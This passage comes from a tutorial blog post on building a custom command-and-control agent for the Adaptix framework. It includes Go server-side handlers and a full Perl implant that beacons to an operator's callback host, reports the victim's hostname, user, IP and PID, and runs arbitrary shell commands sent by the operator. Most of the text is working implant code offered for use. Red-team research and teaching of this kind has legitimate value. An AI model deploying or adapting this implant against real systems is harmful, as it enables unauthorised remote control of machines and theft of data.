/// START CODE HERE
command, ok := args["command"].(string)
if !ok {
return taskData, messageData, errors.New("'command' must be set")
}
commandData := make(map[string]interface{})
commandData["command"] = command
switch command {
case "pwd":
// No additional parameters needed
case "cd":
path, ok := args["path"].(string)
if !ok {
err = errors.New("parameter 'path' must be set")
return taskData, messageData, err
}
commandData["path"] = path
case "run":
executable, ok := args["executable"].(string)
if !ok {
err = errors.New("parameter 'executable' must be set")
return taskData, messageData, err
}
commandData["executable"] = executable
if cmdArgs, ok := args["args"].(string); ok {
commandData["args"] = cmdArgs
}
default:
err = fmt.Errorf("unknown command: %s", command)
return taskData, messageData, err
}
taskData.Data, err = json.Marshal(commandData)
if err != nil {
return taskData, messageData, err
}
/// END CODE
return taskData, messageData, err
}
This function extracts the command name from the args map, builds a commandData map with command-specific parameters (pwd needs nothing, cd requires a path, run requires an executable with optional arguments), marshals the command data to JSON, and stores it in taskData.Data.
These three commands provide a solid foundation for testing. Basic filesystem navigation (pwd, cd) and arbitrary command execution (run) will cover the essential operations needed to validate our entire task flow.
Finally, ProcessTasksResult handles the agent-to-operator direction, parsing task results and formatting them for console display:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// ProcessTasksResult parses agent task responses and displays formatted output.
// Called when agent sends back task execution results.
// Parameters:
// - ts: Teamserver interface for console output
// - agentData: Agent metadata
// - taskData: Original task data (unused but required by interface)
// - packedData: JSON-encoded array of task results from agent
//
// Returns: Array of additional tasks to queue (currently always empty)
func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var outTasks []adaptix.TaskData
/// START CODE
// Parse results array
var results []map[string]interface{}
err := json.Unmarshal(packedData, &results)
if err != nil {
return outTasks
}
// Process each result
for _, result := range results {
_ = getString(result, "task_id")
output := getString(result, "output")
// Parse the output JSON to format it nicely
var outputData map[string]interface{}
err := json.Unmarshal([]byte(output), &outputData)
if err != nil {
// If parsing fails, just show raw output
continue
}
command := getString(outputData, "command")
// Format output for console display
var consoleOutput string
switch command {
case "pwd":
path := getString(outputData, "path")
consoleOutput = fmt.Sprintf("Current directory: %s", path)
case "cd":
if errMsg := getString(outputData, "error"); errMsg != "" {
consoleOutput = fmt.Sprintf("Error: %s", errMsg)
} else {
path := getString(outputData, "path")
consoleOutput = fmt.Sprintf("Changed directory to: %s", path)
}
case "run":
executable := getString(outputData, "executable")
args := getString(outputData, "args")
stdout := getString(outputData, "stdout")
exitCode := getInt(outputData, "exit_code")
cmdStr := executable
if args != "" {
cmdStr = fmt.Sprintf("%s %s", executable, args)
}
consoleOutput = fmt.Sprintf("Running command: %s\n\n%s\nExit code: %d", cmdStr, stdout, exitCode)
default:
if errMsg := getString(outputData, "error"); errMsg != "" {
consoleOutput = fmt.Sprintf("Error: %s", errMsg)
} else {
// Show raw JSON output for unknown commands
jsonBytes, _ := json.MarshalIndent(outputData, "", " ")
consoleOutput = string(jsonBytes)
}
}
// Output to agent console
ts.TsAgentConsoleOutput(agentData.Id, MESSAGE_SUCCESS, consoleOutput, "", true)
}
/// END CODE
return outTasks
}
This function unmarshals the packed data into a results array, then for each result extracts the task ID and output, parses the output JSON, and formats it based on command type before displaying it in the UI via TsAgentConsoleOutput.
Agent ax_config.axs
Lastly, we need to build the ax_config.axs file for the agent, which registers the commands we defined in CreateTask:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function RegisterCommands(listenerType)
{
/// Commands Here
let cmd_pwd = ax.create_command("pwd", "Print working directory", "pwd", "Task: print working directory");
let cmd_cd = ax.create_command("cd", "Change directory", "cd /etc", "Task: change directory");
cmd_cd.addArgString("path", true, "Target directory path");
let cmd_run = ax.create_command("run", "Execute command", "run whoami", "Task: execute command");
cmd_run.addArgString("executable", true, "Command or executable to run");
cmd_run.addArgString("args", false, "Command arguments");
if(listenerType == "LamperlHTTP") {
let commands_external = ax.create_commands_group("Lamperl", [cmd_pwd, cmd_cd, cmd_run]);
return { commands_linux: commands_external }
}
return ax.create_commands_group("none",[]);
}
function GenerateUI(listenerType)
{
let container = form.create_container()
let panel = form.create_panel()
return {
ui_panel: panel,
ui_container: container
}
}
The agent handler is complete for now, we can make it by running make in the lamperl_agent directory.
With all the Go infrastructure in place, it’s finally time to create the actual Perl agent that will run on target systems.
The Lamperl Agent
Before we can add any commands, we need to establish a reliable callback mechanism. Let’s start by defining some essential variables:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Configuration
my $callback_host = '<CALLBACK_HOST>';
my $callback_port = '<CALLBACK_PORT>';
my $callback_path = '<CALLBACK_PATH>';
my $agent_watermark = '<WATERMARK>';
# Generate random 10-character hex agent ID at runtime
srand(time ^ $$ ^ unpack("%L*", `ps axww | gzip -f`));
my $agent_id = sprintf("%010x", int(rand() * 1099511627776) % 1099511627776);
# Agent state
my $sleep_time = 5;
my $jitter_percent = 10;
my $current_directory = Cwd::getcwd();
my $should_terminate = 0;
# Reusable JSON encoder
my $json = JSON::PP->new->utf8->canonical;
The placeholder values (<CALLBACK_HOST>, etc.) will be replaced at build time by the AgentGenerateBuild function we implemented earlier. We’re generating a random 10-character agent ID at runtime to ensure uniqueness, tracking the current working directory for filesystem operations, and creating a reusable JSON encoder to simplify our communication logic.
Next, we create a function to gather initial system information for the first check-in:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Get initial system information
sub get_init_data {
my $hostname = `hostname`; chomp($hostname);
my $username = getpwuid($<) || $<;
my $internal_ip = '';
my $sock = IO::Socket::INET->new(
PeerAddr => '8.8.8.8',
PeerPort => 53,
Proto => 'udp',
);
if ($sock) {
$internal_ip = $sock->sockhost();
close($sock);
}
return {
hostname => $hostname,
username => $username,
domain => '',
internal_ip => $internal_ip,
process => $0,
pid => $$,
sleep => $sleep_time,
jitter => $jitter_percent,
};
}
The most critical component is the HTTP communication function, which handles all interactions with the listener:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Send HTTP request
sub send_request {
my ($beat, $init, $results) = @_;
print STDERR "[DEBUG] Connecting to $callback_host:$callback_port\n";
my $sock = IO::Socket::INET->new(
PeerHost => $callback_host,
PeerPort => $callback_port,
Proto => 'tcp',
Timeout => 10,
);
unless ($sock) {
print STDERR "[ERROR] Failed to connect: $!\n";
return undef;
}
print STDERR "[DEBUG] Connected successfully\n";
# Build request body
my $body = { beat => $beat };
$body->{init} = $init if $init;
$body->{results} = $results if $results && @$results;
my $body_json = $json->encode($body);
my $content_length = length($body_json);
print STDERR "[DEBUG] Beat: $beat\n";
print STDERR "[DEBUG] Body length: $content_length bytes\n";
print STDERR "[DEBUG] Body: $body_json\n";
print STDERR "[DEBUG] Sending request...\n";
# Send HTTP request
print $sock join("\r\n",
"POST $callback_path HTTP/1.1",
"Host: $callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length: $content_length",
"Connection: close",
"",
$body_json
);
# Read response
local $/ = undef;
my $response = <$sock>;
close($sock);
print STDERR "[DEBUG] Response length: " . length($response) . " bytes\n";
print STDERR "[DEBUG] Response:\n$response\n";
# Parse response body
return undef unless $response;
return undef unless $response =~ /\r?\n\r?\n(.+)$/s;
my $data = eval { $json->decode($1) };
if ($@) {
print STDERR "[ERROR] JSON decode failed: $@\n";
}
return $data;
}
This function orchestrates the entire HTTP request/response cycle:
- Establish a TCP connection to the listener with a 10-second timeout
- Build the JSON request body, conditionally including init data (first check-in only) or results (task outputs)
- Manually construct and send an HTTP POST request with proper headers. We’re building raw HTTP here rather than using a library to keep dependencies minimal
- Read the complete response by temporarily disabling Perl’s input record separator (local $/ = undef), which allows us to slurp the entire response in one read operation
- Extract the response body using a regex that matches everything after the HTTP headers (the \r?\n\r?\n sequence marks the end of headers)
- Decode the JSON response and return the parsed data structure, or undef if any step fails
The liberal use of debug prints makes troubleshooting communication issues significantly easier during development and testing.
We’ll also add a helper function to calculate sleep intervals with jitter:
1
2
3
4
5
# Calculate sleep time with jitter
sub calculate_sleep {
return $sleep_time unless $jitter_percent > 0;
return $sleep_time + int(rand($sleep_time * $jitter_percent / 100));
}
Finally, let’s implement the main execution loop:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Main loop
sub main {
my $beat = $agent_watermark . $agent_id;
my $init_data = get_init_data();
my $first_checkin = 1;
print STDERR "[INFO] Agent starting...\n";
print STDERR "[INFO] Watermark: $agent_watermark\n";
print STDERR "[INFO] Agent ID: $agent_id\n";
print STDERR "[INFO] Beat: $beat\n";
print STDERR "[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
print STDERR "[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my $response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
sleep(calculate_sleep());
}
}
Here’s the complete initial agent implementation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
use JSON::PP;
use MIME::Base64;
use Cwd;
# Configuration
my $callback_host = '<CALLBACK_HOST>';
my $callback_port = '<CALLBACK_PORT>';
my $callback_path = '<CALLBACK_PATH>';
my $agent_watermark = '<WATERMARK>';
# Generate random 10-character hex agent ID at runtime
srand(time ^ $$ ^ unpack("%L*", `ps axww | gzip -f`));
my $agent_id = sprintf("%010x", int(rand() * 1099511627776) % 1099511627776);
# Agent state
my $sleep_time = 5;
my $jitter_percent = 10;
my $current_directory = Cwd::getcwd();
my $should_terminate = 0;
# Reusable JSON encoder
my $json = JSON::PP->new->utf8->canonical;
# Get initial system information
sub get_init_data {
my $hostname = `hostname`; chomp($hostname);
my $username = getpwuid($<) || $<;
my $internal_ip = '';
my $sock = IO::Socket::INET->new(
PeerAddr => '8.8.8.8',
PeerPort => 53,
Proto => 'udp',
);
if ($sock) {
$internal_ip = $sock->sockhost();
close($sock);
}
return {
hostname => $hostname,
username => $username,
domain => '',
internal_ip => $internal_ip,
process => $0,
pid => $$,
sleep => $sleep_time,
jitter => $jitter_percent,
};
}
# Send HTTP request
sub send_request {
my ($beat, $init, $results) = @_;
print STDERR "[DEBUG] Connecting to $callback_host:$callback_port\n";
my $sock = IO::Socket::INET->new(
PeerHost => $callback_host,
PeerPort => $callback_port,
Proto => 'tcp',
Timeout => 10,
);
unless ($sock) {
print STDERR "[ERROR] Failed to connect: $!\n";
return undef;
}
print STDERR "[DEBUG] Connected successfully\n";
# Build request body
my $body = { beat => $beat };
$body->{init} = $init if $init;
$body->{results} = $results if $results && @$results;
my $body_json = $json->encode($body);
my $content_length = length($body_json);
print STDERR "[DEBUG] Beat: $beat\n";
print STDERR "[DEBUG] Body length: $content_length bytes\n";
print STDERR "[DEBUG] Body: $body_json\n";
print STDERR "[DEBUG] Sending request...\n";
# Send HTTP request
print $sock join("\r\n",
"POST $callback_path HTTP/1.1",
"Host: $callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length: $content_length",
"Connection: close",
"",
$body_json
);
# Read response
local $/ = undef;
my $response = <$sock>;
close($sock);
print STDERR "[DEBUG] Response length: " . length($response) . " bytes\n";
print STDERR "[DEBUG] Response:\n$response\n";
# Parse response body
return undef unless $response;
return undef unless $response =~ /\r?\n\r?\n(.+)$/s;
my $data = eval { $json->decode($1) };
if ($@) {
print STDERR "[ERROR] JSON decode failed: $@\n";
}
return $data;
}
# Calculate sleep time with jitter
sub calculate_sleep {
return $sleep_time unless $jitter_percent > 0;
return $sleep_time + int(rand($sleep_time * $jitter_percent / 100));
}
# Main loop
sub main {
my $beat = $agent_watermark . $agent_id;
my $init_data = get_init_data();
my $first_checkin = 1;
print STDERR "[INFO] Agent starting...\n";
print STDERR "[INFO] Watermark: $agent_watermark\n";
print STDERR "[INFO] Agent ID: $agent_id\n";
print STDERR "[INFO] Beat: $beat\n";
print STDERR "[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
print STDERR "[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my $response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
sleep(calculate_sleep());
}
}
main();
We can verify the Perl syntax before running with:
1
perl -c lamperl.pl
Now create a listener in Adaptix, generate the agent, and launch it:
1
perl lamperl.pl
Success! The agent appears in Adaptix:
However, we haven’t implemented any actual functionality yet. The agent can only beacon. Let’s fix that.
Adding Command Functionality
We’re going to implement three commands in this initial version: cd, pwd, and run. We’ll use a dispatch table pattern for clean command routing. First, we define the command table and implement the dispatch mechanism:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Command dispatch table
my %COMMANDS = (
pwd => \&cmd_pwd,
cd => \&cmd_cd,
run => \&cmd_run,
);
# Execute a command using dispatch table
sub execute_command {
my ($task) = @_;
my $task_id = $task->{task_id};
my $command = $task->{command};
my $handler = $COMMANDS{$command};
my $result = $handler
? $handler->($task)
: { command => $command, error => "Unknown command: $command" };
return {
task_id => $task_id,
output => $json->encode($result),
};
}
Now let’s implement the three commands. All three follow a similar pattern: execute the operation, capture the output, and return a structured result.
The cmd_pwd implementation simply returns the current directory:
1
2
3
4
5
6
7
sub cmd_pwd {
my ($task) = @_;
return {
command => 'pwd',
path => $current_directory,
};
}
The cmd_cd function validates the target path exists before changing directories:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sub cmd_cd {
my ($task) = @_;
my $path = $task->{path} || '/';
unless (-d $path) {
return {
command => 'cd',
error => "Directory not found: $path",
};
}
$current_directory = Cwd::abs_path($path);
return {
command => 'cd',
path => $current_directory,
};
}
Finally, cmd_run executes arbitrary commands via /bin/sh and captures both stdout and the exit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sub cmd_run {
my ($task) = @_;
my $executable = $task->{executable} || '/bin/sh';
my $args = $task->{args} || '';
my $cmd = $args ? "$executable $args" : $executable;
my $output = `$cmd 2>&1`;
my $exit_code = $? >> 8;
return {
command => 'run',
executable => $executable,
args => $args,
stdout => $output,
exit_code => $exit_code,
};
}
The final step is updating the main loop to check for and execute commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sub main {
my $beat = $agent_watermark . $agent_id;
my $init_data = get_init_data();
my $first_checkin = 1;
print STDERR "[INFO] Agent starting...\n";
print STDERR "[INFO] Watermark: $agent_watermark\n";
print STDERR "[INFO] Agent ID: $agent_id\n";
print STDERR "[INFO] Beat: $beat\n";
print STDERR "[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
print STDERR "[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my $response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
# Execute tasks if present
if ($response && $response->{tasks} && @{$response->{tasks}}) {
my @results = map { execute_command($_) } @{$response->{tasks}};
send_request($beat, undef, \@results) if @results;
}
sleep(calculate_sleep());
}
}
Now rebuild the listener and agent, generate a fresh agent, and run it:
Connection established successfully:
The agent can now change directories:
And execute arbitrary commands:
Conclusion
That wraps up the first post in this series! We’ve successfully built a functional Adaptix agent from (mostly) scratch, covering listener implementation, agent generation, and basic command execution. The complete code for this iteration is available on GitHub.
In the next post, we’ll expand the agent’s capabilities by adding support for file uploads, downloads, and asynchronous job handling.








